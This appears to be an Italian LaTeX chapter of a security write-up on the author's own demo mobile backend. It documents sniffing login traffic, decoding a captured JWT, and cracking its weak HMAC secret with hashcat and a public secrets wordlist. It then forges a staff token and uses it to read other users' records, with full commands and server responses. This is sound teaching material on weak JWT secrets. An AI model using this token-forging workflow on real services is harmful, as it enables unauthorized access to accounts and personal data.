summaryrefslogtreecommitdiff
path: root/docs/chapters/network.tex
blob: 4b593701b3d2400bc0983974b3f7d1582f72a7f2 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
In questa versione di testing sarà utilizzato il software Termshark\footnote{https://github.com/gcla/termshark} al posto di Wireshark. È un software basato su Wireshark il cui unico vantaggio è la facilità d'uso per quello che serve fare a noi, visto che offre una semplice TUI a \textbf{tshark(1)}.

Aprendo Termshark la prima cosa che può venir in mente è quella di filtrare per richieste TCP, e così facciamo, ma vi sono tanti pacchetti che arrivano in entrata e uscita, quindi potremmo voler aggiungere un filtro in modo tale da filtrare solo le richieste che partono dalla nostra macchina: ma qual è l'IP? Per far ciò basta eseguire

\begin{lstlisting}
$ ip -br a
lo               UNKNOWN        127.0.0.1/8 ::1/128
wlp2s0           UP             151.97.156.203/20 fe80::dab5:fab1:2c92:1fcb/64
docker0          DOWN           172.17.0.1/16
..
\end{lstlisting}

prendendo come base l'IP della scheda Wireless possiamo applicarvi il filtro.

\begin{figure}[h]
\centering
\includegraphics[width=0.75\textwidth]{data/termshark}
\caption{Screenshot di Termshark}
\end{figure}

Avviando l'applicazione da Android Studio dobbiamo far caso, dopo aver provato il login, alla colonna Info, dove vi sono le righe con testo "Client Hello" o con la chiamata HTTP in chiaro. 

Nello screenshot in Figura 4.2 si vede a quale endpoint fa la chiamata per fare il login e anche con quale payload. Non è un problema il fatto che vediamo le credenziali che stiamo usando, proprio perché li stiamo inserendo noi. Può essere un problema in caso di qualcun altro che fa sniffing della LAN perché vedrebbe le nostre credenziali; questo problema scompare quando il server usa HTTPS invece di HTTP.

\begin{figure}[h]
\centering
\includegraphics[width=0.75\textwidth]{data/termshark-post}
\caption{Screenshot dell'endpoint di login}
\end{figure}

\section{Informazioni utente}

\begin{figure}[h]
\centering
\includegraphics[width=0.75\textwidth]{data/termshark-get-users}
\caption{Screenshot della GET users}
\end{figure}
Proseguendo nell'applicazione a visualizzare la pagina con le info personali, vediamo da dove e come prende queste informazioni.
In particolare dobbiamo far attenzione, oltre all'url, a qual è il token di accesso usato per richiedere la risorsa.


Nella Figura 4.3 si vede ciò. Per copiare la riga bisogna entrare in modalità copy premendo \emph{c} e \emph{CTRL+C}. Alla fine avremo in buffer la stringa


\begin{lstlisting}
[Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9.
byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4\r\n]
\end{lstlisting}

Decodificando il payload si vedrà

\begin{lstlisting}
$ echo "eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9" | base64 -d
{"user_id":1,"exp":1670066634}
\end{lstlisting}

Se volessimo vedere i dati di un utente diverso, come ad esempio l'utente 2, dovremmo richiamare
\begin{lstlisting}
xh http://m6ie.demo.dcariotti.me/v1/users/2
 Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
			eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9.
			byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4"
HTTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 37
Content-Type: application/json
Date: Mon, 21 Nov 2022 03:20:00 GMT
Server: nginx
Vary: origin

{
    "error": "Can't perform this action"
}
\end{lstlisting}
Questo è quello che ci aspettavamo, perché l'utente con id 1 non è uno staffer, ma non ci dà la sicurezza che l'utente con id 2 sia un utente esistente.

\section{Attacco all'autorizazzione}

Ricreiamo un payload valido ma con differente "user\_id".

\begin{lstlisting}
$ echo '{"user_id":2,"exp":1670066634}' | base64
eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9Cg==

$ # Il padding "Cg==" va rimosso da JWT
\end{lstlisting}

Usiamo un software che permette di fare chiamate HTTP come xh\footnote{https://github.com/ducaale/xh} e vediamo come questo nuovo payload non funzioni, proprio perché l'ultima parte non è stata ancora ricalcolata.

\begin{lstlisting}
xh http://m6ie.demo.dcariotti.me/v1/users
 Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
 	.eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9
 	.nFImsJOF-LQ9QIkrOYzIAHeZtEnLkzg4RD_kjqcJc3s"
HTTP/1.1 400 Bad Request
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 25
Content-Type: application/json
Date: Mon, 21 Nov 2022 03:24:00 GMT
Server: nginx
Vary: origin

{
    "error": "Invalid token"
}
\end{lstlisting}

\subsection{Forcing del secret}
L'Authorization token è qualcosa di pubblico, che possiamo veder ad ogni richiesta HTTP. Il secret no, è usato per fare verificare la firma e rendere valido il token stesso. Quindi useremo un approccio simile a quello impiegato per "forzare" il login di una piattaforma: proveremo per forza bruta tutte le password possibili.
In questo caso proveremo i possibili secret per far sì che la firma sia lo stesso valida.

Prendendo una lista ben nota di secrets impiegati in servizi in produzione\footnote{https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt.secrets.list} useremo il software open-source \textbf{Hashcat} \cite{HASHCAT}.
Per crackare la password usando Hashcat bisogna dare in input il parametro dell'hash type di JWT, il sorgente in cui vi è il token che si vuole crackare e il sorgente in cui vi è la lista dei secrets.

\begin{lstlisting}
$ hashcat -m 16500 my-secret.dat jwt-secrets-list.dat

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
.eyJ1c2VyX2lkIjoxLCJleHAiOjE2NzAwNjY2MzR9
.byCNHix2XJtWx_dTOljxV45xrsl1hCXD1hj9oNwNjA4:hello

Session..........: hashcat
Status...........: Cracked
Hash.Type........: JWT (JSON Web Token)
Hash.Target......: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIj...NwNjA4
\end{lstlisting}

Qui vediamo come sia riuscito a trovare il secret, ovvero la stringa \emph{hello}.

\subsection{Creazione token valido}
Usando queste informazioni possiamo sfruttare il sopracitato sito web \underline{jwt.io} per la creazione di un token valido.

Usando questo nuovo token codificato per fare la chiamata, possiamo riprovare la chiamata che era fallita prima.

\begin{lstlisting}
$ xh http://m6ie.demo.dcariotti.me/v1/users
	Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
	.eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9
	.n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 106
Content-Type: application/json
Date: Mon, 21 Nov 2022 03:30:19 GMT
Server: nginx
Vary: origin

{
    "id": 2,
    "name": "Luke Skywalker",
    "email": "luke@disney.com",
    "username": "luke",
    "is_staff": true,
    "avatar": null
}
\end{lstlisting}

\begin{figure}[h]
\centering
\includegraphics[width=0.75\textwidth]{data/jwt}
\caption{Screenshot di Jwt.io}
\end{figure}

Questo perché, come avevamo dato per assodato prima, molti backend si fidano ciecamente del fatto che il token JWT inviato sia valido e quindi restituiscono la risorsa.

Per caso abbiamo trovato che l'utente con id uguale a 2 è uno staffer, quindi possiamo riutilizzare questo token anche per avere i dati degli altri utenti. Infatti possiamo utilizzarlo anche per l'utente di prima (o altri).

\begin{lstlisting}
$ xh http://m6ie.demo.dcariotti.me/v1/users/1
	Authorization:"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
	.eyJ1c2VyX2lkIjoyLCJleHAiOjE2NzAwNjY2MzR9
	.n-j1mzCUGNs7lz8ZXKgi6gBOsE3MiWZcaC8NIWxSexU"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Connection: keep-alive
Content-Length: 106
Content-Type: application/json
Date: Mon, 21 Nov 2022 03:35:19 GMT
Server: nginx
Vary: origin

{
    "id": 1,
    "name": "Santo Cariotti",
    "email": "santo@dcariotti.me",
    "username": "sa",
    "is_staff": false,
    "avatar": null
}
\end{lstlisting}